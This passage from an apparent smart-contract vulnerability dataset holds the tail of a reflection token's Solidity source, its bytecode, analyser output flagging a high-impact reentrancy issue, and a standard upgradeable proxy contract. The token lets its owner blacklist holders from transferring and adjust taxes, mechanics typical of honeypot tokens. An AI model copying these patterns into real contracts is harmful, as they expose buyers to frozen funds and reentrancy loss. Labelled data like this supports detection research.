(string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function setERC20Contract() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 13) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b5ecd2011161006f578063b5ecd20114610359578063c3c8cd801461036e578063c9567bf914610383578063dbe8272c14610398578063dc1052e2146103b8578063dd62ed3e146103d857600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e7578063a9059cbb14610319578063b515566a1461033957600080fd5b8063273123b7116100f2578063273123b714610219578063313ce5671461023957806346df33b7146102555780636fc3eaec1461027557806370a082311461028a57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b25780631bbae6e0146101d757806323b872dd146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c476c61646961746f7220496e7560981b60208201525b60405161017991906118f7565b60405180910390f35b34801561018e57600080fd5b506101a261019d36600461177e565b61041e565b6040519015158152602001610179565b3480156101be57600080fd5b50678ac7230489e800005b604051908152602001610179565b3480156101e357600080fd5b506101f76101f23660046118b0565b610435565b005b34801561020557600080fd5b506101a261021436600461173d565b610481565b34801561022557600080fd5b506101f76102343660046116ca565b6104ea565b34801561024557600080fd5b5060405160098152602001610179565b34801561026157600080fd5b506101f7610270366004611876565b610535565b34801561028157600080fd5b506101f761057d565b34801561029657600080fd5b506101c96102a53660046116ca565b6105b1565b3480156102b657600080fd5b506101f76105d3565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f357600080fd5b5060408051808201909152600981526823a620a9a4a0aa27a960b91b602082015261016c565b34801561032557600080fd5b506101a261033436600461177e565b610647565b34801561034557600080fd5b506101f76103543660046117aa565b610654565b34801561036557600080fd5b506101f76106ea565b34801561037a57600080fd5b506101f7610929565b34801561038f57600080fd5b506101f7610969565b3480156103a457600080fd5b506101f76103b33660046118b0565b610b30565b3480156103c457600080fd5b506101f76103d33660046118b0565b610b68565b3480156103e457600080fd5b506101c96103f3366004611704565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042b338484610ba0565b5060015b92915050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f9061194c565b60405180910390fd5b6702c68af0bb14000081111561047e5760108190555b50565b600061048e848484610cc4565b6104e084336104db85604051806060016040528060288152602001611ae3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fd4565b610ba0565b5060019392505050565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161045f9061194c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055f5760405162461bcd60e51b815260040161045f9061194c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161045f9061194c565b4761047e8161100e565b6001600160a01b03811660009081526002602052604081205461042f90611048565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161045f9061194c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061042b338484610cc4565b6000546001600160a01b0316331461067e5760405162461bcd60e51b815260040161045f9061194c565b60005b81518110156106e6576001600660008484815181106106a2576106a2611a93565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106de81611a62565b915050610681565b5050565b6000546001600160a01b031633146107145760405162461bcd60e51b815260040161045f9061194c565b600f54600160a01b900460ff161561076e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156107ce57600080fd5b505afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080691906116e7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561084e57600080fd5b505afa158015610862573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088691906116e7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906116e7565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161045f9061194c565b600061095e306105b1565b905061047e816110cc565b6000546001600160a01b031633146109935760405162461bcd60e51b815260040161045f9061194c565b600e546109b39030906001600160a01b0316678ac7230489e80000610ba0565b600e546001600160a01b031663f305d71947306109cf816105b1565b6000806109e46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4757600080fd5b505af1158015610a5b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8091906118c9565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af857600080fd5b505af1158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047e9190611893565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b815260040161045f9061194c565b600d81101561047e57600b55565b6000546001600160a01b03163314610b925760405162461bcd60e51b815260040161045f9061194c565b600d81101561047e57600c55565b6001600160a01b038316610c025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610c635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610d8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b60008111610dec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6001600160a01b03831660009081526006602052604090205460ff1615610e1257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5457506001600160a01b03821660009081526005602052604090205460ff16155b15610fc4576000600955600c54600a55600f546001600160a01b038481169116148015610e8f5750600e546001600160a01b03838116911614155b8015610eb457506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec95750600f54600160b81b900460ff165b15610ef6576000610ed9836105b1565b601054909150610ee98383611255565b1115610ef457600080fd5b505b600f546001600160a01b038381169116148015610f215750600e546001600160a01b03848116911614155b8015610f4657506001600160a01b03831660009081526005602052604090205460ff16155b15610f57576000600955600b54600a555b6000610f62306105b1565b600f54909150600160a81b900460ff16158015610f8d5750600f546001600160a01b03858116911614155b8015610fa25750600f54600160b01b900460ff165b15610fc257610fb0816110cc565b478015610fc057610fc04761100e565b505b505b610fcf8383836112b4565b505050565b60008184841115610ff85760405162461bcd60e51b815260040161045f91906118f7565b5060006110058486611a4b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106e6573d6000803e3d6000fd5b60006007548211156110af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045f565b60006110b96112bf565b90506110c583826112e2565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111457611114611a93565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116857600080fd5b505afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a091906116e7565b816001815181106111b3576111b3611a93565b6001600160a01b039283166020918202929092010152600e546111d99130911684610ba0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611212908590600090869030904290600401611981565b600060405180830381600087803b15801561122c57600080fd5b505af1158015611240573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061126283856119f2565b9050838110156110c55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b610fcf838383611324565b60008060006112cc61141b565b90925090506112db82826112e2565b9250505090565b60006110c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145b565b60008060008060008061133687611489565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136890876114e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113979086611255565b6001600160a01b0389166000908152600260205260409020556113b981611528565b6113c38483611572565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140891815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061143682826112e2565b82101561145257505060075492678ac7230489e8000092509050565b90939092509050565b6000818361147c5760405162461bcd60e51b815260040161045f91906118f7565b5060006110058486611a0a565b60008060008060008060008060006114a68a600954600a54611596565b92509250925060006114b66112bf565b905060008060006114c98e8787876115eb565b919e509c509a509598509396509194505050505091939550919395565b60006110c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd4565b60006115326112bf565b90506000611540838361163b565b3060009081526002602052604090205490915061155d9082611255565b30600090815260026020526040902055505050565b60075461157f90836114e6565b60075560085461158f9082611255565b6008555050565b60008080806115b060646115aa898961163b565b906112e2565b905060006115c360646115aa8a8961163b565b905060006115db826115d58b866114e6565b906114e6565b9992985090965090945050505050565b60008080806115fa888661163b565b90506000611608888761163b565b90506000611616888861163b565b90506000611628826115d586866114e6565b939b939a50919850919650505050505050565b60008261164a5750600061042f565b60006116568385611a2c565b9050826116638583611a0a565b146110c55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b80356116c581611abf565b919050565b6000602082840312156116dc57600080fd5b81356110c581611abf565b6000602082840312156116f957600080fd5b81516110c581611abf565b6000806040838503121561171757600080fd5b823561172281611abf565b9150602083013561173281611abf565b809150509250929050565b60008060006060848603121561175257600080fd5b833561175d81611abf565b9250602084013561176d81611abf565b929592945050506040919091013590565b6000806040838503121561179157600080fd5b823561179c81611abf565b946020939093013593505050565b600060208083850312156117bd57600080fd5b823567ffffffffffffffff808211156117d557600080fd5b818501915085601f8301126117e957600080fd5b8135818111156117fb576117fb611aa9565b8060051b604051601f19603f8301168101818110858211171561182057611820611aa9565b604052828152858101935084860182860187018a101561183f57600080fd5b600095505b8386101561186957611855816116ba565b855260019590950194938601938601611844565b5098975050505050505050565b60006020828403121561188857600080fd5b81356110c581611ad4565b6000602082840312156118a557600080fd5b81516110c581611ad4565b6000602082840312156118c257600080fd5b5035919050565b6000806000606084860312156118de57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561192457858101830151858201604001528201611908565b81811115611936576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d15784516001600160a01b0316835293830193918301916001016119ac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0557611a05611a7d565b500190565b600082611a2757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4657611a46611a7d565b500290565b600082821015611a5d57611a5d611a7d565b500390565b6000600019821415611a7657611a76611a7d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047e57600080fd5b801515811461047e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b5a23800fd1e8bc6286d5c2d09fd62af3f58d1cee6d40c1e62fae89fd93ee9e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,476
0x9731535F9F20F418E08C05272aF9b6E00c3255a5
/** *Submitted for verification at Etherscan.io on 2021-04-19 */ pragma solidity ^0.6.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
